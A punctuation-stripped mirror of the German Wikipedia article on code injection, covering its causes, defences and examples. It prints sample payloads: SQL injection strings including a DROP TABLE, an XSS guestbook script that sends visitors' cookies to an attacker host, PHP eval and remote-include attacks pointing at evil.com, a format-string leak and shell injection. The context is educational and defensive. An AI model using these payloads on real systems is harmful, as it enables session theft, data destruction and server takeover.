www.wikidata.de-de.nina.az
Code Injektion ist die Ausnutzung eines Computerfehlers der durch die Verarbeitung ungultiger Daten verursacht wird Die Injektion wird von einem Angreifer genutzt um Code in ein verwundbares Computerprogramm einzuschleusen zu injizieren und zur Ausfuhrung zu bringen Das Ergebnis einer erfolgreichen Code Injektion kann verheerend sein etwa durch Verbreitung von Computerviren oder wurmern Bestimmte Arten von Code Injection sind Interpretationsfehler die den Benutzereingaben eine besondere Bedeutung verleihen indem dort nicht zwischen Benutzereingaben und Systembefehlen unterschieden wird Code Injection Schwachstellen treten auf wenn eine Anwendung nicht vertrauenswurdige Daten an einen Interpreter sendet Am haufigsten treten sie auf in SQL LDAP XPath NoSQL Abfragen Betriebssystembefehlen XML Parsern SMTP Kopfzeilen und allgemein in den Parametern von Programmaufrufen Injektionsschwachstellen sind in der Regel im Quellcode leichter zu entdecken als durch Tests 1 Scanner und Fuzzers konnen helfen Injektionsschwachstellen zu finden 2 Injektion kann zu Datenverlust oder beschadigung oder Zugriffsverweigerung fuhren manchmal sogar zu einer kompletten Hostubernahme Code Injection Techniken sind bei System Hacking oder Cracking beliebt um Informationen Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen Code Injection kann zu vielen Zwecken boswillig eingesetzt werden z B Beliebiges Verandern von Werten in einer Datenbank durch SQL Injection Die Auswirkungen konnen von der Verunstaltung von Webseiten bis zur ernsthaften Kompromittierung sensibler Daten reichen Installieren von Malware oder Ausfuhren von bosartigem Code auf einem Server durch Einschleusen von Server Scripting Code wie PHP oder ASP Privilegieneskalation zu root Rechten durch Ausnutzung von Shell Injection Schwachstellen in einem setuid root Binary unter UNIX oder Local System durch Ausnutzung eines Dienstes unter Microsoft Windows Angriffe auf Web Benutzer mit HTML Skript Injektion Cross Site Scripting Im Jahr 2008 wurden 5 66 aller in diesem Jahr gemeldeten Schwachstellen als Code Injection klassifiziert der hochste Wert in den Aufzeichnungen Im Jahr 2015 war dies auf 0 77 gesunken 3 Inhaltsverzeichnis 1 Gute und ungewollte Verwendung 2 Verhindern von Problemen 3 Beispiele 3 1 SQL Injektion 3 2 Cross Site Scripting 3 3 Dynamische Auswertungsschwachstellen 3 4 Objektinjektion 3 5 Entfernte Dateiinjektion 3 6 Format Spezifizierer Injektion 3 7 Shell Injektion 4 Siehe auch 5 Weblinks 6 EinzelnachweiseGute und ungewollte Verwendung BearbeitenTheoretisch kann Code Injektion mit guten Absichten verwendet werden 4 5 indem etwa eine Suchergebnisseite eine nutzliche neue Spalte anzeigt oder den Inhalt weiter filtert ordnet oder gruppiert Auch beim Testen von Software besonders bei Penetrationstests leistet Code Injektion gute Dienste White Hat Selbst ein Softwareentwickler wird manchmal Methoden einsetzen die diesen Namen verdienen etwa eine Bibliotheksfunktion vorubergehend durch eine eigene Funktion mit gleichem Namen uberschreiben 6 Naturlich konnte ein Nutzer auch ohne Absicht Code injizieren Er halt beispielsweise etwas fur eine gultige Eingabe was vom Entwickler mit einer besonderen Bedeutung versehen wurden vielleicht nur ein Kaufmanns Und oder ein Apostroph in einem Firmennamen So etwas konnte auch in einer Datei stehen die der Nutzer hochladt Verhindern von Problemen BearbeitenUm Code Injection Probleme zu verhindern ist vor allem eine sichere Handhabung von Ein und Ausgaben notwendig Die verwendete Programmierschnittstelle API sollte gegen alle Eingaben sicher sind wie etwa vorkompilierte SQL Anweisung mit Platzhaltern fur die Benutzerdaten oder die Criteria API 7 Erzwingen der Sprachentrennung uber ein statisches Typensystem 8 Eingabevalidierung durch moglichst serverseitiges Whitelisting also einer Liste akzeptierter Werte Eingabekodierung z B das Escapen ungewollter Zeichen In PHP z B mit der Funktion htmlspecialchars die Sonderzeichen fur die sichere Ausgabe in HTML umschreibt und mysqli real escape string die Daten fur eine SQL Anfrage isoliert Entsprechende Ausgabekodierung zur Verhinderung von HTML Injection Attacken gegen Website Besucher HttpOnly ist ein Flag fur HTTP Cookies das clientseitige Skriptinteraktion mit Cookies verhindert und damit bestimmte XSS Angriffe 9 Modulare Shell Abkopplung vom KernelDiese Losungsvorschlage befassen sich primar mit der webbasierten Injektion von HTML oder Skriptcode in eine serverseitige Anwendung Fur die Injektion von Benutzercode auf dem Rechner des Benutzers die zu Angriffen mit erhohter Berechtigung fuhrt mussen jedoch andere Ansatze gewahlt werden Einige Vorschlage um verwaltete und nicht verwaltete Code Injektionen zu erkennen und zu isolieren Laufzeit Image Hash Validierung Erfassen eines Hashes eines Teils oder des kompletten Images der in den Speicher geladenen ausfuhrbaren Datei und Vergleich mit dem gespeicherten und erwarteten Hash NX Bit Alle Benutzerdaten kommen in einen speziellen Speicherbereich der als nicht ausfuhrbar markiert ist Der Prozessor weiss dann dass dort kein Code vorhanden sein kann und lehnt dort die Ausfuhrung ab Canaries Diese legen zufallig Werte auf einen Stack Nach der Ruckkehr der Funktion wird der Wert uberpruft und bei Veranderung das Programm gestoppt Dies verhindert Stack Overflow Attacken Code Pointer Masking CPM Ein Zeiger auf auszufuhrenden Code wird zuvor auf Plausibilitat gepruft In C kann dies auf Prozessorebene durch eine Bitmaske geschehen 10 Beispiele BearbeitenSQL Injektion Bearbeiten Hauptartikel SQL Injektion Bei der SQL Injektion wird die Syntax von SQL ausgenutzt um Befehle zu injizieren die eine Datenbank lesen oder verandern konnen oder die Bedeutung der ursprunglichen Abfrage beeintrachtigen Betrachten Sie zum Beispiel eine Webseite die zwei Felder hat In Feld 1 gibt der Nutzer einen Benutzernamen und in Feld 2 ein Passwort ein Der Code hinter der Seite generiert eine SQL Abfrage um die Eingaben mit einer Datenbanktabelle zu vergleichen SELECT BenutzerListe Benutzername FROM BenutzerListe WHERE BenutzerListe Benutzername lt Inhalt von Feld 1 gt AND BenutzerListe Password lt Inhalt von Feld 2 gt Diese Abfrage wird genau dann fundig wenn es in der Tabelle BenutzerListe einen Eintrag gibt dessen Benutzername und Passwort den Eingaben des Nutzers gleichen Wenn der boswillige Benutzer jedoch in Feld 1 einen gultigen Benutzernamen eingibt und in Feld 2 den Code XYZ OR 1 1 dann entsteht folgende Abfrage SELECT BenutzerListe Benutzername FROM BenutzerListe WHERE BenutzerListe Benutzername lt Inhalt von Feld 1 gt AND BenutzerListe Password XYZ OR 1 1 Diese Abfrage ist nicht nur erfolgreich wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort XYZ das durfte hochst selten der Fall sein sondern auch wenn es den Benutzernamen gibt und 1 1 ist und das ist immer der Fall Das System wird also den Zugriff gestatten Ein zweites Beispiel Der Angreifer gibt als Benutzernamen folgenden Code ein DROP TABLE BenutzerListe In diesem Fall entsteht die folgende Datenbankabfrage SELECT BenutzerListe Benutzername FROM BenutzerListe WHERE BenutzerListe Benutzername DROP TABLE BenutzerListe AND BenutzerListe Passwort Aus Datenbanksicht sind dies drei verschiedene Anweisungen jeweils durch ein Semikolon getrennt Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen Es spielt keine Rolle ob sie etwas findet denn als nachstes folgt eine DROP Anweisung die die komplette Tabelle BenutzerListe sofort und ohne Ruckfrage loscht Der Rest wird wegen der fuhrenden Bindestriche als Kommentar angesehen also ignoriert Mit der Loschanweisung wurde in diesem Moment die gesamte Datenbank zerstort denn sie enthalt nun keine Tabelle mit Benutzernamen und Passwortern mehr Cross Site Scripting Bearbeiten Hauptartikel Cross Site Scripting Code Injektion ist die boswillige Einfuhrung von Code in eine Anwendung So bieten manche Webseiten ein Gastebuch an in dem Besucher kleine Nachrichten hinterlassen sollen Dinge wie Sehr schone Seite Eine boswillige Person konnte jedoch von einer Code Injection Schwachstelle im Gastebuch wissen und eine Nachricht wie die folgende hinterlassen Schone Seite ich denke ich werde sie missbrauchen lt script gt window location https angreifer bosescgi cookie cgi steal escape document cookie lt script gt Wenn nun ein anderer Besucher die Seite besucht sieht er den Bereich von lt script gt bis lt script gt gar nicht statt ihn anzuzeigen fuhrt der Browser diesen Skriptcode sofort auf seinem Rechner aus Dabei kann er nicht nur den Rechner kompromittieren sondern auch auf der gerade besuchten Website unerwunschte Aktionen ausfuhren wenn der Nutzer dort angemeldet war mit dessen Nutzerrechten Dieses Injizieren von Skripten in die Sitzung eines ahnungslosen folgenden Users wird als Cross Site Scripting oder XSS bezeichnet Das Gastebuch Skript ubernahm den Code des erste Nutzers unuberpruft in den auszugebenden HTML Text auf Basis naiver Annahmen daruber welche Eingabedaten moglich sind 11 Dynamische Auswertungsschwachstellen Bearbeiten Eine span class k eval span span class p span Injection Schwachstelle tritt auf wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann die in eine span class k eval span span class p span Funktion eingespeist wird aufruft 12 myvar somevalue x GET arg eval myvar x Das Argument von a href Eval html title Eval eval a wird als PHP verarbeitet so dass weitere Befehle angehangt werden konnen Wird arg beispielsweise auf span class mi 10 span span class p span span class nb system span span class p span span class s1 bin echo uh oh span span class p span gesetzt wird zusatzlicher Code ausgefuhrt der ein Programm auf dem Server ausfuhrt in diesem Fall bin echo Objektinjektion Bearbeiten PHP erlaubt die Serialisierung und Deserialisierung von ganzen Objekten Wenn nicht vertrauenswurdige Eingaben in die Deserialisierungsfunktion zugelassen werden ist es moglich bestehende Klassen im Programm zu uberschreiben und bosartige Angriffe auszufuhren 13 Ein solcher Angriff auf Joomla wurde 2013 gefunden 14 Entfernte Dateiinjektion Bearbeiten Betrachten Sie dieses PHP Programm das eine per Anfrage angegebene Datei einschliesst lt php color blue if isset GET Farbe color GET color require color php Das Beispiel konnte so gelesen werden dass nur Farbdateien wie blau php und rot php geladen werden wahrend Angreifer COLOR http evil com exploit angeben konnten was PHP veranlasst die externe Datei zu laden Format Spezifizierer Injektion Bearbeiten Formatierungszeichenfolgen Bugs treten am haufigsten auf wenn ein Programmierer eine Zeichenfolge ausgeben mochte die vom Benutzer gelieferte Daten enthalt Der Programmierer schreibt vielleicht falschlicherweise printf buffer statt printf s buffer Die erste Version interpretiert buffer als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus wie vom Programmierer beabsichtigt Betrachten Sie das folgende kurze C Programm das eine lokale Variable char array passwort hat die ein Passwort enthalt das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette dann gibt es die vom Benutzer angegebene Zeichenkette aus char user input 100 int int in char passwort 10 Passwort1 printf Geben Sie eine ganze Zahl ein scanf d amp int in printf Bitte geben Sie einen String n fgets user input sizeof user input stdin printf user input Sichere Version ist printf s user input printf n return 0 Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie s s s s s s s s gefullt wird dann beginnt printf aus dem stack zu lesen Schliesslich wird einer der s Formatierer auf die Adresse von Passwort zugreifen die sich auf dem Stack befindet und Passwort1 auf den Bildschirm ausgeben Shell Injektion Bearbeiten Shell Injektion oder Befehlsinjektion 15 ist nach Unix Shells benannt gilt aber fur die meisten Systeme die es Software erlauben eine Befehlszeile programmatisch auszufuhren Hier ist ein Beispiel fur ein verwundbares tcsh Skript bin tcsh uberprufe arg Ausgaben es passt wenn arg eins ist if 1 1 echo it matches Wenn das obige in der ausfuhrbaren Datei check gespeichert ist wird der Shell Befehl check 1 evil versuchen den injizierten Shell Befehl evil auszufuhren anstatt das Argument mit dem konstanten zu vergleichen Hier ist der angegriffene Code der Code der versucht den Parameter zu uberprufen also genau der Code der vielleicht versucht hatte den Parameter zu validieren um einen Angriff abzuwehren 16 Jede Funktion die zum Zusammenstellen und Ausfuhren eines Shell Befehls verwendet werden kann ist ein potenzielles Vehikel zum Starten eines Shell Injection Angriffs Dazu gehoren system 17 StartProcess und System Diagnostics Process Start 18 Client Server Systeme wie Webbrowsers Interaktion mit Webservern sind potenziell anfallig fur Shell Injection Betrachten Sie das folgende kurze PHP Programm das auf einem Webserver laufen kann um ein externes Programm namens funnytext auszufuhren das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt lt php passthru bin funnytext GET USER INPUT Das passthru im obigen Beispiel komponiert einen Shell Befehl der dann vom Webserver ausgefuhrt wird Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten URL entnommen wird kann die URL bosartige Shell Befehle einschleusen Man kann auf verschiedene Arten Code in dieses Programm einschleusen indem man die Syntax verschiedener Shell Funktionen ausnutzt diese Liste ist nicht vollstandig 19 Einige Sprachen bieten Funktionen um Zeichenketten die zum Aufbau von Shell Befehlen verwendet werden richtig zu escapen oder in Anfuhrungszeichen zu setzen PHP a href https www php net manual en function escapeshellarg php escapeshellarg a und a href https www php net manual en function escapeshellcmd php escapeshellcmd a Python a href https docs python org 3 library shlex html shlex quote shlex quote a Dies bedeutet jedoch immer noch dass der Programmierer diese Funktionen kennen erlernen und daran denken muss sie jedes Mal zu verwenden wenn er Shell Befehle verwendet Zusatzlich zur Verwendung dieser Funktionen wird empfohlen die Benutzereingabe zu validieren oder zu bereinigen Eine sicherere Alternative ist die Verwendung von APIs die externe Programme direkt und nicht uber eine Shell ausfuhren wodurch die Moglichkeit der Shell Injection verhindert wird Diese APIs neigen jedoch dazu verschiedene Komfortfunktionen von Shells nicht zu unterstutzen und oder im Vergleich zur pragnanten Shell Syntax umstandlicher ausfuhrlicher zu sein Siehe auch BearbeitenPufferuberlauf Debugging Monitor SGML Entitat SQL Injection Trojanisches Pferd Computerprogramm Weblinks BearbeitenRobert Kuster Drei Wege Ihren Code in einen anderen Prozess zu injizieren codeproject com A Danehkar Inject your code to a Portable Executable file codeproject com A Danehkar Injective Code inside Import Table codeproject com Tadeusz Pietraszek Chris Vanden Berghe Abwehr von Injection Attacken durch Context Sensitive String Evaluation CSSE PDF Flux breitet sich aus emsisoft com Erstes Trojanisches Pferd das Code Injection nutzt um die Erkennung durch eine Firewall zu verhindern The Daily WTF berichtet regelmassig uber reale Vorfalle von Anfalligkeit fur Code Injection in Software Einzelnachweise Bearbeiten Top 10 Web Application Security Vulnerabilities In Penn Computing University of Pennsylvania archiviert vom Original am 24 Februar 2018 abgerufen am 10 Dezember 2016 englisch OWASP Top 10 2013 A1 Injection Flaws OWASP abgerufen am 19 Dezember 2013 englisch NVD Statistics Search In web nvd nist gov Abgerufen am 9 Dezember 2016 englisch Raghunathan Srinivasan Towards More Effective Virus Detectors In Arizona State University Archiviert vom Original am 29 Juli 2010 abgerufen am 18 September 2010 englisch Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements Lecture Notes in Computer Science Jose Andre Morales Ravi Sandhu Shouhuai Xu Erhan Kartaltepe Springer Berlin Heidelberg 2010 ISBN 978 3 642 14705 0 Symptoms Based Detection of Bot Processes doi 10 1007 978 3 642 14706 7 18 englisch Dynamische Linker Tricks Mit LD PRELOAD schummeln Funktionen injizieren und Programme untersuchen In Rafal Cieslak s blog 2 April 2013 abgerufen am 10 Dezember 2016 englisch The Java EE 6 Tutorial Chapter 35 Using the Criteria API to Create Queries Oracle abgerufen am 19 Dezember 2013 englisch Tom Moertel Eine typbasierte Losung fur das Strings Problem ein passendes Ende fur XSS und SQL Injection Locher In Tom Moertel s Blog 18 Oktober 2006 abgerufen am 21 Oktober 2018 englisch HttpOnly In OWASP 12 November 2014 abgerufen am 10 Dezember 2016 englisch Pieter Philippaerts Yves Younan Stijn Muylle Frank Piessens Sven Lachmund Thomas Walter CPM Masking Code Pointers to Prevent Code Injection Attacks In ACM Transactions on Information and System Security Band 16 Nr 1 1 Juni 2013 ISSN 1094 9224 S 1 27 doi 10 1145 2487222 2487223 englisch Online PDF Brian Hope Paco Hope Ben Walther Web Security Testing Cookbook O Reilly Media Sebastopol CA 2009 ISBN 978 0 596 51483 9 S 254 englisch Online Steven M Christey Dynamische Auswertungsschwachstellen in PHP Anwendungen 3 Mai 2006 abgerufen am 21 Oktober 2018 englisch Unserialize function warnings PHP net abgerufen am 20 Januar 2023 englisch Analyse der Joomla PHP Object Injection Vulnerability Abgerufen am 6 Juni 2014 englisch Command Injection OWASP abgerufen am 20 Januar 2023 englisch Douglas W Jones CS 3620 Notes Lecture 4 Shell Scripts Spring 2018 system 3 Linux man page linux die net Overloads MSDN Command Injection Archiviert vom Original am 27 Februar 2015 abgerufen am 27 Februar 2015 englisch Abgerufen von https de wikipedia org w index php title Code Injection amp oldid 239374502